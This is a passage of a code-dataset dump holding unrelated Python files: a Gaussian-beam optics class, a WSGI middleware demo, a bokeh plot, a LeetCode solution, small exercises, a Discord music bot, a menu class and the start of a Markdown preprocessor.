negative x' axis, and tilt_y>0 if the beam\n is tilted upwards, i.e. towards positive y' direction.\n (Optional, Default to be 0)\n :param float tilt_h: the tilt-angle in x'-z' plane in radian. 0 is defined \n as along negative x' axis, and tilt_z>0 if the beam\n is tilted upwards, i.e. towards positive z' direction\n (Optional, Default to be 0)\n :param float rotation: (Optional Default to be 0) \n the rotated angle of the elliptic Gaussian. It is \n defined as the angle between local y axis and lab y'\n axis if local z axis has been rotated to align with\n lab -x' axis. This angle is the tilted angle of the\n ellipse in the transvers plane. \n :param float w_0y: waist width in the vertical-like direction (eventually \n aligns with y' axis)\n :param float w_0z: waist width in the horizontal-like direction (eventually\n aligns with z' axis) (Optional, default to be same as \n w_0y) \n :param complex E0: The complex amplitude at beam frame origin\n (Optional, default is 1)\n :param float P_total: The total power of the beam. Optional, if given, *E0*\n argument will be ignored. The amplitude of the beam\n will be determined by P_total.\n \n Attributes:\n \n rayleigh_range:\n Rayleigh range of the beam. Defined below.\n \n tuple (z_Ry, z_Rz)\n \n divergence:\n Divergence of the beam. Defined below\n \n tuple (theta_y, theta_z)\n \n Methods:\n \n curvature(z):\n returns the curvature of the wave front surface at given central \n light path locations.\n \n __call__(coords):\n returns the E field complex amplitude at given locations in lab \n frame. coords must be a length 3 list containing [Z3D, Y3D, X3D]\n coordinates data. All of the coordinate arrays must have the same\n shape, and the returned array will have the same shape.\n \n \n \n \n Definition\n ==========\n \n A Gaussian light beam is a monochromatic electromagnetic wave whose \n transverse magnetic and electric field amplitude profiles are given by \n the Gaussian function. \n \n All notations here will follow the convention in [1]_. \n \n Coordinates\n -----------\n \n We will use two set of frames here.\n \n 1. Beam frame\n In Beam frame :math:`{x, y, z}`, :math:`z` is the central light path \n direction, :math:`x` and :math:`y` are the two transverse directions \n which align with the elliptical axis of the Gaussian profile. In \n circular Gaussian case, :math:`r \\equiv \\sqrt{x^2+y^2}` is used.\n \n 2. Lab frame\n Lab frame :math:`{x', y', z'}` will be used as in usual convention. \n :math:`x` will be along major radius direction, :math:`y` the vertical \n direction, and z locally toroidal direction.\n \n Parameters\n ----------\n \n Several parameters are usually used to describe a Gaussian beam:\n \n waist width :math:`w_0`:\n The waist, also called *focus*, is the narrowest location in the beam.\n The waist width :math:`w_0` is defined as the 1/e half-width in \n transverse directions of field amplitude at the waist. Elliptical \n shaped Gaussian beams may have different waist width on different \n directions. i.e. :math:`w_{0x}` and :math:`w_{0y}`.\n \n Rayleigh range :math:`z_R`:\n Rayleigh range is the distance along the beam from the waist where 1/e\n half-width becomes :math:`\\sqrt{2}w_0`. It is related to :math:`w_0` as\n \n .. math::\n z_R = \\frac{\\pi w_0^2}{\\lambda},\n \n where :math:`\\lambda` is the wave length.\n \n Beam divergence :math:`\\theta`:\n Far away from waist, the 1/e half-width is proportional to z. If we \n draw a line along the 1/e half-width, it asymptotically has a constant\n angle with the central light path. This is defined as the beam \n divergence. When it's small (paraxial case), it has the following \n relation to the waist width.\n \n .. math::\n \\theta \\approx \\frac{\\lambda}{\\pi w_0} \\quad \n (\\lambda \\ll w_0).\n \n Electric Field Expression\n ==========================\n \n The electric field complex amplitude :math:`E(x, y, z)`can be evaluated \n using the following formula [1]_:\n \n .. math::\n E(x, y, z)=\\frac{E_0}{u_x(0,0)u_y(0,0)} \\mathcal{e}^{ikz} u_x(x,z) \n u_y(y,z),\n \n where\n\n .. math:: \n u_x(x,z) = \\frac{1}{\\sqrt{q_x(z)}} \n \\exp\\left(\\mathrm{i} k \\frac{x^2}{2q_x(z)} \\right),\n \n u_y(y,z) = \\frac{1}{\\sqrt{q_y(z)}} \n \\exp\\left(\\mathrm{i} k \\frac{y^2}{2q_y(z)} \\right),\n \n and :math:`k \\equiv 2\\pi/\\lambda` is the magnitude of the wave vector,\n :math:`q(z) \\equiv z-\\mathrm{i}z_R` the complex beam parameter. Note that\n since we are using a different convention for :math:`\\omega` compared to \n that used in Ref [1]_, namely, we assume the wave goes like \n :math:`e^{-i\\omega t}` instead of :math:`e^{i\\omega t}`, we need to take \n complex conjugate on spatial terms to keep the wave propagating in positive\n z direction. This applies to the definition of :math:`q` terms and the sign \n in front of :math:`ik` part.\n \n Calculation of the Amplitude from Total Power\n =============================================\n \n If ``P_total`` is given, then the center amplitude :math:`E_0` will be \n determined by it.\n \n The time-averaged Poynting flux is (in Gaussian unit):\n \n .. math::\n S_m = \\frac{c}{8\\pi}E_m \\times B_m^*,\n \n where :math:`E_m` and :math:`B_m` are the magnitude of the field. \n \n For our Gaussian beam at waist plane, assuming linear and constant \n dielectric, :math:`B_m = N E_m` and they are perfectly in phase. So, \n \n .. math::\n S_m = \\frac{Nc}{8\\pi}|E_m|^2.\n \n where :math:`N \\equiv ck/\\omega` the refractive index, \n :math:`k=2\\pi/\\lambda`.\n \n The total power is then\n \n .. math::\n P_{total} = \\int\\int S_m \\mathrm{d}x \\, \\mathrm{d}y \n = \\frac{Nc}{8\\pi}|E_0|^2\\int\\int \n \\exp\\left(-\\frac{2x^2}{w_{0x}^2}\n - \\frac{2y^2}{w_{0y}^2}\\right) \\mathrm{d}x \\,\\mathrm{d}y.\n \n \n The Gaussian integration over x and y gives us :math:`\\pi w_{0x} w_{0y}/2`,\n so we have the relation between :math:`E_0` and :math:`P_{total}`:\n \n .. math::\n E_0 = \\sqrt{\\frac{8 \\lambda \\omega P_{total}}{\\pi c^2 w_{0x} w_{0y}}}\n \n We choose :math:`E_0` to be real for simplicity.\n \n Coordinate Transformation\n =========================\n \n The input lab coordinates will be transformed into beam coordinates first, \n then the complex amplitude is evaluated in beam frame using the above \n formula.\n \n The coordinate transformation consists of 5 operations.\n \n translation:\n from lab frame origin to the beam frame origin, which is the waist \n location.\n rotation along y' axis:\n by the angle of *tilt_h* \n rotation along z' axis:\n by the angle of -*tilt_v*\n rotation along x' axis:\n by the angle of -*rotation*\n substitution:\n -x'->z, y'->y, z'->x\n \n References\n ==========\n\n .. [1] https://en.wikipedia.org/wiki/Gaussian_beam \n \n \"\"\"\n \n def __init__(self, wave_length, waist_x, waist_y, w_0y, waist_z=0, \n w_0z=None, tilt_v=0, tilt_h=0, rotation=0, E0=1, \n P_total=None, omega=None):\n self.wave_length = float(wave_length)\n self.waist_loc = np.asarray([waist_z, waist_y, waist_x], dtype='float')\n self.w_0y = float(w_0y)\n if w_0z is not None:\n self.w_0z = float(w_0z)\n else:\n self.w_0z = float(w_0y)\n self.tilt_v = float(tilt_v)\n self.tilt_h = float(tilt_h)\n self.rotation = float(rotation)\n self.E0 = float(E0)\n if (P_total is not None):\n # when power is specified, wave frequency is needed to determine \n # the local dispersion and group velocity\n assert omega is not None\n self.P_total = float(P_total)\n self.E0 = np.sqrt(8*self.wave_length*omega*P_total / \\\n (cgs['c']**2 *np.pi*self.w_0z*self.w_0y))\n \n def __str__(self):\n info = 'Gaussian beam:\\n'\n info += '\\tCoordinate convention: horizontal: X-Z, vertical: Y.\\n'\n info += '\\tPropagation convention: reference direction along -X \\\ndirection.\\n'\n info += '\\tUnitSystem: Gaussian\\n'\n info += 'wave_length : {0:.3}\\n'.format(self.wave_length)\n info += 'focuc: (Z:{0:.3}, Y:{1:.3}, X:{2:.4})\\n'.\\\n format(*self.waist_loc)\n info += 'spot size: (w_0y: {0:.3}, w_0z:{1:.3})\\n'.format(self.w_0y, \n self.w_0z)\n info += 'tilt angle: (vertical: {0:.3}, horizontal: {1:.3}, \\\nrotation: {2:.3})\\n'.format(self.tilt_v, self.tilt_h, self.rotation)\n info += 'Reighlay ranges: R_y: {0:.3}, R_z: {1:.3}\\n'.\\\n format(*self.reighlay_range)\n info += 'divergence(1/e boundary): y: {0:.3}, z: {1:.3}\\n'.\\\n format(*self.divergence)\n try:\n info += 'P_total specified: {0:.3}'.format(self.P_total)\n except AttributeError:\n info += 'E0 specified: {0:.3}'.format(self.E0)\n return info\n \n \n @property \n def reighlay_range(self):\n zry = np.pi*self.w_0y*self.w_0y/self.wave_length\n zrz = np.pi*self.w_0z*self.w_0z/self.wave_length\n return (zry, zrz)\n \n @property\n def divergence(self):\n thetay = self.wave_length/(np.pi*self.w_0y)\n thetaz = self.wave_length/(np.pi*self.w_0z)\n \n return (thetay, thetaz)\n \n def curvature(self, z):\n r\"\"\" curvature of the wave front at z\n \n .. math::\n \\kappa = \\frac{1}{R(z)}\n \n R(z) = z\\left[ 1+ \\left(\\frac{z}{z_R}\\right)^2 \\right]\n \n :param z: z values to evaluate the curvature\n :type z: ndarray of float of shape (nz,)\n \n :return: curvature in y(y') and x(z') direction\n :rtype: ndarray of float with shape (nz, 2)\n \"\"\"\n z = z[..., np.newaxis]\n zr = self.reighlay_range\n R = z * ( 1+ z*z/(zr*zr) )\n return 1/R\n \n def __call__(self, coords):\n r\"\"\" evaluate complex eletric field amplitude at coords\n \n :param coords: coordinates of points in lab frame\n :type coords: list of ndarrays, NOTE: the order is [Z, Y, X]\n \n :return: complex electric field amplitude at coords\n :rtype: ndarray of complex with same shape as coords[0]\n \"\"\" \n zn = np.copy(coords[0])\n yn = np.copy(coords[1])\n xn = np.copy(coords[2]) \n \n # Coordinate transform into beam frame\n \n # step 1, move to beam frame origin\n \n xn = xn-self.waist_loc[2]\n yn = yn-self.waist_loc[1]\n zn = zn-self.waist_loc[0]\n \n # step 2, rotate along y' axis\n \n xn, yn, zn = rotate('y', self.tilt_h, [xn, yn, zn])\n \n # step 3, rotate along z' axis\n \n xn, yn, zn = rotate('z', -self.tilt_v, [xn, yn, zn])\n \n # step 4, rotate along x' axis\n \n xn, yn, zn = rotate('x', -self.rotation, [xn, yn, zn])\n \n # step 5, coordinate substitution\n \n z = -xn\n y = yn\n x = zn\n \n # now, we can evaluate electric field\n zry, zrx = self.reighlay_range\n k = 2*np.pi/self.wave_length\n qx = z - 1j*zrx\n qy = z - 1j*zry\n ux = 1/sqrt(qx)*np.exp(1j*k*x*x/(2*qx))\n uy = 1/sqrt(qy)*np.exp(1j*k*y*y/(2*qy))\n \n return self.E0*ux*uy*np.exp(1j*k*z)*np.sqrt(zry*zrx)\n \n \n \n\n","sub_path":"src/python3/sdp/model/lightbeam.py","file_name":"lightbeam.py","file_ext":"py","file_size_in_byte":13890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"533525902","text":"import os\n\ntopDiv = \"
Middleware TOP
\"\nbottomDiv = \"
Middleware BOTTOM
\"\n\ndef App(environ, start_response):\n filepath = '.' + environ['PATH_INFO']\n print(filepath)\n if (filepath == './' or filepath == './index.html' or filepath == './about/about.html'):\n print(filepath)\n page = open(filepath, 'rb')\n result = []\n for line in page:\n result.append(line)\n page.close()\n start_response('200 OK', [('Content-type', 'text/HTML')])\n return result\n else:\n start_response('404 Not Found', [(\"Content-Type\", \"text/html\")])\n return 'File not found!'.encode()\n \nclass Middleware(object):\n def __init__(self, app):\n self.app = app\n \n def __call__(self, environ, start_response):\n for lists in self.app(environ, start_response):\n text = lists.decode('utf-8')\n if text.find('') != -1:\n yield text.encode()\n yield topDiv.encode()\n elif text.find('') != -1:\n yield bottomDiv.encode()\n yield text.encode()\n else:\n yield text.encode()\n\nif __name__ == '__main__':\n from wsgiref.simple_server import make_server\n app = Middleware(App)\n _server = make_server('localhost', 8000, app)\n print (\"Serving localhost on port 8000...\")\n _server.serve_forever()","sub_path":"wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"129988819","text":"from motion_detector import df\r\nfrom bokeh.plotting import figure,output_file,show\r\nfrom bokeh.models import HoverTool,ColumnDataSource\r\n\r\ndf[\"Start_str\"]=df[\"Start\"].dt.strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\ndf[\"End_str\"]=df[\"End\"].dt.strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\ncds=ColumnDataSource(df)\r\nf=figure(width=1000,height=500,x_axis_type='datetime',title=\"Motion Graph\")\r\n\r\nhovertool=HoverTool(tooltips=[(\"Start\",\"@Start_str\"),(\"End\",\"@End_str\")])\r\nf.add_tools(hovertool)\r\np=f.quad(left=\"Start\",right=\"End\",top=1,bottom=0,color=\"green\",source=cds)\r\n\r\nf.yaxis.minor_tick_line_color=None\r\n#f.ygrid[0].ticker.desired_num_ticks=1\r\noutput_file(\"Graph.html\")\r\nshow(f)","sub_path":"motion__detector/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"499369293","text":"#\r\n# @lc app=leetcode.cn id=1220 lang=python3\r\n#\r\n# [1220] 统计元音字母序列的数目\r\n#\r\n# https://leetcode-cn.com/problems/count-vowels-permutation/description/\r\n#\r\n# algorithms\r\n# Hard (52.32%)\r\n# Likes: 6\r\n# Dislikes: 0\r\n# Total Accepted: 1.2K\r\n# Total Submissions: 2.3K\r\n# Testcase Example: '1'\r\n#\r\n# 给你一个整数 n,请你帮忙统计一下我们可以按下述规则形成多少个长度为 n 的字符串:\r\n#\r\n#\r\n# 字符串中的每个字符都应当是小写元音字母('a', 'e', 'i', 'o', 'u')\r\n# 每个元音 'a' 后面都只能跟着 'e'\r\n# 每个元音 'e' 后面只能跟着 'a' 或者是 'i'\r\n# 每个元音 'i' 后面 不能 再跟着另一个 'i'\r\n# 每个元音 'o' 后面只能跟着 'i' 或者是 'u'\r\n# 每个元音 'u' 后面只能跟着 'a'\r\n#\r\n#\r\n# 由于答案可能会很大,所以请你返回 模 10^9 + 7 之后的结果。\r\n#\r\n#\r\n#\r\n# 示例 1:\r\n#\r\n# 输入:n = 1\r\n# 输出:5\r\n# 解释:所有可能的字符串分别是:\"a\", \"e\", \"i\" , \"o\" 和 \"u\"。\r\n#\r\n#\r\n# 示例 2:\r\n#\r\n# 输入:n = 2\r\n# 输出:10\r\n# 解释:所有可能的字符串分别是:\"ae\", \"ea\", \"ei\", \"ia\", \"ie\", \"io\", \"iu\", \"oi\", \"ou\" 和 \"ua\"。\r\n#\r\n#\r\n# 示例 3:\r\n#\r\n# 输入:n = 5\r\n# 输出:68\r\n#\r\n#\r\n#\r\n# 提示:\r\n#\r\n#\r\n# 1 <= n <= 2 * 10^4\r\n#\r\n#\r\n#\r\n\r\n# @lc code=start\r\ntry:\r\n from collections import defaultdict\r\n from typing import *\r\n MOD = 10**9 + 7\r\n import os\r\n import sys\r\n curFileParentPath = os.path.dirname(\r\n os.path.dirname(os.path.realpath(__file__)))\r\n sys.path.append(curFileParentPath)\r\n from Utils.Tree import *\r\nexcept Exception as err:\r\n print('Import failed: ' + str(err))\r\n\r\n\r\nclass Solution:\r\n def countVowelPermutation(self, n: int) -> int:\r\n # 简单的动态规划, dp[i, x]是n为i时候末尾是x的元素数目\r\n # 注意使用整数作为dict的key会更快一点\r\n # 注意可以不使用dict, 只用5个变量...\r\n a, e, i, o, u = 1, 1, 1, 1, 1\r\n for _ in range(2, n + 1):\r\n na = (e + i + u) % MOD\r\n ne = (a + i) % MOD\r\n ni = (e + o) % MOD\r\n no = i\r\n nu = (i + o) % MOD\r\n a, e, i, o, u = na, ne, ni, no, nu\r\n return (a + e + i + o + u) % MOD\r\n # dp = {}\r\n # vs = {'a', 'e', 'i', 'o', 'u'}\r\n # for x in vs:\r\n # dp[1, x] = 1\r\n # for i in range(2, n + 1):\r\n # dp[i, 'a'] = dp[i - 1, 'e'] + dp[i - 1, 'i'] + dp[i - 1, 'u']\r\n # dp[i, 'e'] = dp[i - 1, 'a'] + dp[i - 1, 'i']\r\n # dp[i, 'i'] = dp[i - 1, 'e'] + dp[i - 1, 'o']\r\n # dp[i, 'o'] = dp[i - 1, 'i']\r\n # dp[i, 'u'] = dp[i - 1, 'i'] + dp[i - 1, 'o']\r\n # for x in vs:\r\n # dp[i, x] %= MOD\r\n # res = 0\r\n # for x in vs:\r\n # res += dp[n, x]\r\n # res %= MOD\r\n # return res\r\n\r\n\r\n# @lc code=end\r\nif __name__ == '__main__':\r\n print(Solution().countVowelPermutation(5))\r\n","sub_path":"Hard/1220.统计元音字母序列的数目.py","file_name":"1220.统计元音字母序列的数目.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"25337760","text":"class Car:\n def __init__(self, make, model, year, price):\n self.make = make\n self.model = model\n self.year = year\n self.price = price\n \n def calc_value(self, current_year):\n return self.price * 0.9 ** (current_year - self.year)\n \nclass AntiqueCar(Car):\n def calc_value(self, current_year):\n return self.price * 1.05 ** (current_year - self.year)\n\nandy_car = Car(\"toyota\", \"sequoia\", 2002, 35000)\nprint(andy_car.calc_value(2021))\n\nheber_car = Car(\"nissan\", \"murano\", 2006, 25000)\nprint(heber_car.calc_value(2021))\n\nemily_car = Car(\"toyota\", \"camry\", 2004, 30000)\nprint(emily_car.calc_value(2021))\n\nkegan_car = AntiqueCar(\"chevrolet\", \"corvette\", 1969, 12000)\nprint(kegan_car.calc_value(2021))\n\nemily_car2 = AntiqueCar(\"ford\", \"model-T\", 1910, 300)\nprint(emily_car2.calc_value(2021))\n\ncars_lot = [andy_car, heber_car, emily_car, kegan_car, emily_car2]\n\ntotal_value = 0\nfor car in cars_lot:\n total_value += car.calc_value(2021)\n \nprint(\"The value of the entire car lot is: \", total_value)\n\n\n","sub_path":"week2_classes/Car.py","file_name":"Car.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"303150335","text":"import asyncio\nimport functools\nimport datetime\nimport logging\nimport subprocess\nfrom collections import deque\nfrom youtube_dl import YoutubeDL\nfrom youtube_dl.utils import DownloadError\nfrom discord.ext import commands\nfrom discord import Game\n\nclass Player:\n def __init__(self):\n self.logger = logging.getLogger(__name__)\n self._default_options = {'quiet':False, 'noplaylist':True, 'playlist_items':'1', 'format':'bestaudio/webm[abr>0]/best'}\n self._search_options = {'logger':self.logger, 'default_search':'ytsearch1', 'quiet':False, 'noplaylist':True, 'playlist_items':'1', 'format':'bestaudio/webm[abr>0]/best'}\n self._ffmpeg_options = \"-reconnect 1\"\n self._servers = {}\n\n def get_server_dict(self, server_id):\n if server_id not in self._servers:\n self._servers[server_id] = {'queue':deque(), 'volume':0.5, 'voice':None, 'player':None, 'song':None}\n return self._servers[server_id]\n\n def in_voice(self, server_id):\n \"\"\"Returns True if in a voice channel on that server.\"\"\"\n srv = self.get_server_dict(server_id)\n return srv['voice'] and srv['voice'].channel\n\n def is_playing(self, server_id):\n \"\"\"Returns True if in voice and playing something on that server.\"\"\"\n srv = self.get_server_dict(server_id)\n return srv['voice'] and srv['voice'].channel and srv['player'] and srv['player'].is_playing()\n\n async def _join(self, bot, server_id, voice_channel):\n \"\"\"Bot joins specific voice channel.\"\"\"\n if not voice_channel:\n return\n srv = self.get_server_dict(server_id)\n if srv['voice']:\n if voice_channel != srv['voice'].channel:\n await srv['voice'].move_to(voice_channel)\n else:\n srv['voice'] = await bot.join_voice_channel(voice_channel)\n\n async def _leave(self, server_id):\n \"\"\"Leaves voice on a specific server.\"\"\"\n srv = self.get_server_dict(server_id)\n if srv['voice'] and srv['voice'].channel:\n await srv['voice'].disconnect()\n srv['voice'] = None\n\n def user_in_channel(self, server_id, user):\n \"\"\"Checks if both the user and bot are in the same channel.\"\"\"\n srv = self.get_server_dict(server_id)\n return user.voice.voice_channel and srv['voice'] and user.voice.voice_channel == srv['voice'].channel\n\n def enqueue(self, server_id, url, title, duration, user):\n \"\"\"Adds song data to a given server's playback queue.\"\"\"\n srv = self.get_server_dict(server_id)\n srv['queue'].append( (url, title, duration, user) )\n\n def dequeue(self, server_id):\n \"\"\"Returns first data tuple in a given server's queue or None.\"\"\"\n srv = self.get_server_dict(server_id)\n if len(srv['queue']) <= 0:\n return None\n return srv['queue'].popleft()\n\n def get_nick(self, user):\n nick = user.nick\n if not nick:\n nick = user.name\n return nick\n\n def format_song_display(self, prefix, title, duration, user):\n return \"``{} {} [{}] [{}]``\\n\".format(prefix, title, duration, user)\n\n @commands.command(pass_context=True)\n async def queue(self, ctx):\n \"\"\"Shows currently queued items.\"\"\"\n srv = self.get_server_dict(ctx.message.server.id)\n que = srv['queue']\n msg = self.format_song_display('▶', srv['song'][1], srv['song'][2], srv['song'][3])\n i = 1\n for item in que:\n line = self.format_song_display(i, item[1], item[2], item[3])\n i += 1\n msg += line\n await ctx.bot.send_message(ctx.message.channel, msg)\n\n def _after(self, bot, server_id):\n srv = self.get_server_dict(server_id)\n error = srv['player'].error\n if error:\n self.logger.error(error)\n asyncio.run_coroutine_threadsafe(self._play(bot, server_id), bot.loop)\n\n async def _finish_playback(self, bot, server_id):\n await self._leave(server_id)\n await bot.change_presence(game = None)\n srv = self.get_server_dict(server_id)\n srv['player'] = None\n\n async def _play(self, bot, server_id):\n \"\"\"Starts the ffmpeg player with the next song in queue.\"\"\"\n srv = self.get_server_dict(server_id)\n srv['song'] = self.dequeue(server_id)\n if not srv['song']:\n await self._finish_playback(bot, server_id)\n return\n try:\n srv['player'] = srv['voice'].create_ffmpeg_player(srv['song'][0], stderr=subprocess.PIPE, before_options=self._ffmpeg_options, after=lambda: self._after(bot, server_id))\n await bot.change_presence(game = Game(name=srv['song'][1]))\n except Exception as ex:\n #shit's fucked\n self.logger.exception(ex, exc_info=True)\n await self._finish_playback(bot, server_id)\n return\n srv['player'].volume = srv['volume']\n srv['player'].start()\n\n async def _find(self, bot, search_str):\n \"\"\"Performs a youtube search. Returns ytdl entry or None.\"\"\"\n ytdl = YoutubeDL(self._search_options)\n try:\n func = functools.partial(ytdl.extract_info, search_str, download=False)\n info = await bot.loop.run_in_executor(None, func)\n except DownloadError:\n #couldn't find results\n return None\n return info\n\n @commands.command(pass_context=True)\n async def play(self, ctx, url):\n \"\"\"Plays most media urls, such as youtube. If not given a url, attempts a youtube search with given text and plays the first result.\"\"\"\n server_id = ctx.message.server.id\n requester = ctx.message.author\n #refuse command if we don't know which voice channel to join\n if not self.in_voice(server_id) and not requester.voice.voice_channel:\n await ctx.bot.send_message(ctx.message.channel, \"Dude, get in voice first.\")\n return\n #warn user that the bot won't jump channels while playing\n if self.in_voice(server_id) and not self.user_in_channel(server_id, requester):\n vcname = self.get_server_dict(server_id)['voice'].channel.name\n await ctx.bot.send_message(ctx.message.channel, \"I'm already playing in {}. Get in.\".format(vcname))\n return\n #create ytdl instance\n #set quiet: True if needed\n await ctx.bot.send_typing(ctx.message.channel)\n ytdl = YoutubeDL(self._default_options)\n try:\n info = ytdl.extract_info(url, download=False)\n except DownloadError:\n #url was bullshit\n search_kw = ctx.message.content[5:]\n info = await self._find(ctx.bot, search_kw)\n if not info:\n #no hits\n await ctx.bot.send_message(ctx.message.channel, \"No media found.\")\n if 'entries' in info:\n #it's a playlist\n #just grab the first item\n info = info['entries'][0]\n #at this point info['url'] should point to our preferred format\n download_url = info['url']\n #get media attributes\n title = info.get('title')\n duration = ''\n if info.get('is_live'):\n duration = 'LIVE'\n else:\n seconds = info.get('duration')\n if seconds:\n duration = str(datetime.timedelta(seconds=seconds))\n nick = self.get_nick(requester)\n #add to queue\n self.enqueue(server_id, download_url, title, duration, nick)\n await ctx.bot.send_message(ctx.message.channel, self.format_song_display('+', title, duration, nick))\n #join user's voice channel unless already in voice\n if not self.in_voice(server_id):\n await self._join(ctx.bot, server_id, requester.voice.voice_channel)\n #start playback unless already playing\n if not self.is_playing(server_id):\n await self._play(ctx.bot, server_id)\n \n async def control_checks(self, ctx):\n \"\"\"Returns True if access to player controls is allowed.\"\"\"\n server_id = ctx.message.server.id\n requester = ctx.message.author\n #silently drop if not in voice\n if not self.in_voice(server_id):\n return False\n #refuse if user not in the same channel\n if not self.user_in_channel(server_id, requester):\n vcname = self.get_server_dict(server_id)['voice'].channel.name\n await ctx.bot.send_message(ctx.message.channel, \"You can't control me outside of {}.\".format(vcname))\n return False\n return True\n\n @commands.command(pass_context=True)\n async def next(self, ctx):\n \"\"\"Skips to the next song in queue.\"\"\"\n if not await self.control_checks(ctx):\n return\n server_id = ctx.message.server.id\n if self.is_playing(server_id):\n self.get_server_dict(server_id)['player'].stop()\n else:\n await self._play(ctx.bot, server_id)\n\n @commands.command(pass_context=True)\n async def pause(self, ctx):\n \"\"\"Pauses or resumes playback.\"\"\"\n if not await self.control_checks(ctx):\n return\n server_id = ctx.message.server.id\n srv = self.get_server_dict(server_id)\n if self.is_playing(server_id):\n srv['player'].pause()\n else:\n srv['player'].resume()\n\n @commands.command(pass_context=True)\n async def stop(self, ctx):\n \"\"\"Stops and clears the entire queue.\"\"\"\n if not await self.control_checks(ctx):\n return\n server_id = ctx.message.server.id\n srv = self.get_server_dict(server_id)\n srv['queue'].clear()\n if self.is_playing(server_id):\n srv['player'].stop()\n\n def format_volume_bar(self, value):\n \"\"\"Returns the volume bar string. Expects value = [0.0-2.0]\"\"\"\n length = 20\n full = int(value / 2.0 * length)\n bar = \"``{}{} {:.0f}%``\".format('█' * full, '-' * (length - full), value * 100)\n return bar\n\n @commands.command(pass_context=True)\n async def volume(self, ctx, vol=-1):\n \"\"\"Sets playback volume between 0 and 200.\"\"\"\n server_id = ctx.message.server.id\n srv = self.get_server_dict(server_id)\n vol = int(vol)\n if self.user_in_channel(server_id, ctx.message.author) and vol <= 200 and vol >= 0:\n srv['volume'] = vol/100\n if srv['player']:\n srv['player'].volume = srv['volume']\n await ctx.bot.send_message(ctx.message.channel, self.format_volume_bar(srv['volume']))\n","sub_path":"Voice/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":10573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"615565830","text":"text_one = input(\"Input your one str: \")\ntext_two = input(\"Input your two str: \")\ntext_output = \"\"\ncounter = 0\nlen_coincidences = 0\n\nfor x in text_one:\n if x == text_two[0]:\n while text_one[counter+len_coincidences] == text_two[len_coincidences]:\n len_coincidences += 1\n break\n text_output += x\n counter += 1\n\n\ncounter = counter + len_coincidences\nwhile counter < len(text_one):\n text_output += text_one[counter]\n counter += 1\n\n\nprint(text_output)","sub_path":"task_77.py","file_name":"task_77.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"129403488","text":"import os\n\n\ndef file_name(path):\n for root, dirs, files in os.walk(path):\n for file in files:\n print(file)\n\n print(root) #当前目录路径\n print(files) #当前路径下所有非目录子文件\n\n\ndef main():\n path = os.getcwd()\n file_name(path)\n\nif __name__ == '__main__':\n main()","sub_path":"SongsData/fuck.py","file_name":"fuck.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"27125273","text":"from ..core import Menu\n\nclass PrivMethodEdit(Menu):\n def __init__(self, scr, parent):\n self.parent = parent\n self.skip = False\n Menu.__init__(self, scr, \"Choose Methods\")\n self.read = self.mkopt('r', \"Read Permissions\",\n ['+', self.updateparent])\n self.create = self.mkopt('w', \"Create Permissions\",\n ['+', self.updateparent])\n self.delete = self.mkopt('d', \"Delete Permissions\",\n ['+', self.updateparent])\n self.annotate = self.mkopt('n', \"Annotate Permissions\",\n ['+', self.updateparent])\n self.manage = self.mkopt('m', \"Manage Permissions\",\n ['+', self.updateparent])\n self.opts = [\n self.read,\n self.create,\n self.delete,\n self.annotate,\n self.manage,\n None,\n self.mkopt('h', \"Help\", '?'),\n self.mkopt('q', \"Back\", None, hdoc=False)]\n\n def show(self):\n if self.skip: self.skip = False\n else: Menu.show(self)\n\n def updateparent(self, _=None):\n methodstr = ''\n if self.read['val']: methodstr += 'r'\n if self.create['val']: methodstr += 'w'\n if self.delete['val']: methodstr += 'd'\n if self.annotate['val']: methodstr += 'n'\n if self.manage['val']: methodstr += 'm'\n self.parent['val'] = methodstr if len(methodstr) > 0 else None\n\n def initialize(self):\n val = self.parent['val']\n self.read['val'] = val != None and 'r' in val\n self.create['val'] = val != None and 'w' in val\n self.delete['val'] = val != None and 'd' in val\n self.annotate['val'] = val != None and 'n' in val\n self.manage['val'] = val != None and 'm' in val\n\n def applyconf(self, conf):\n Menu.applyconf(self, conf)\n self.updateparent()\n","sub_path":"nex2art/menu/PrivMethodEdit.py","file_name":"PrivMethodEdit.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"100810180","text":"from __future__ import annotations\nfrom . import Annotation\nfrom ..application import Application\n\n\nclass Server(Annotation):\n def __init__(self, id: str, host: str, port: int = 80, description: str = \"\", variables: list = None):\n self.id = id\n self.variables = variables\n self.description = description\n self.host = host\n self.port = port\n self.url = host + \":\" + str(port)\n\n \"\"\"\n Base class for all other classes that are used as decorators,\n responsible for binding open api api into user-land classes.\n \"\"\"\n\n def __call__(self, target):\n super().__call__(target)\n Application.add_server(target)\n","sub_path":"opyapi/api/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"642188221","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nPreprocessor for Markdown handling d3\n\n * Allow Macros!\n * Allow nicer way to make d3 charts (using /theme/static/js/charts.js)\n which offers some nice utilities.\n\nHow it happens:\n\n * We extend Markdown with a preprocessor which substitutes\n objects with
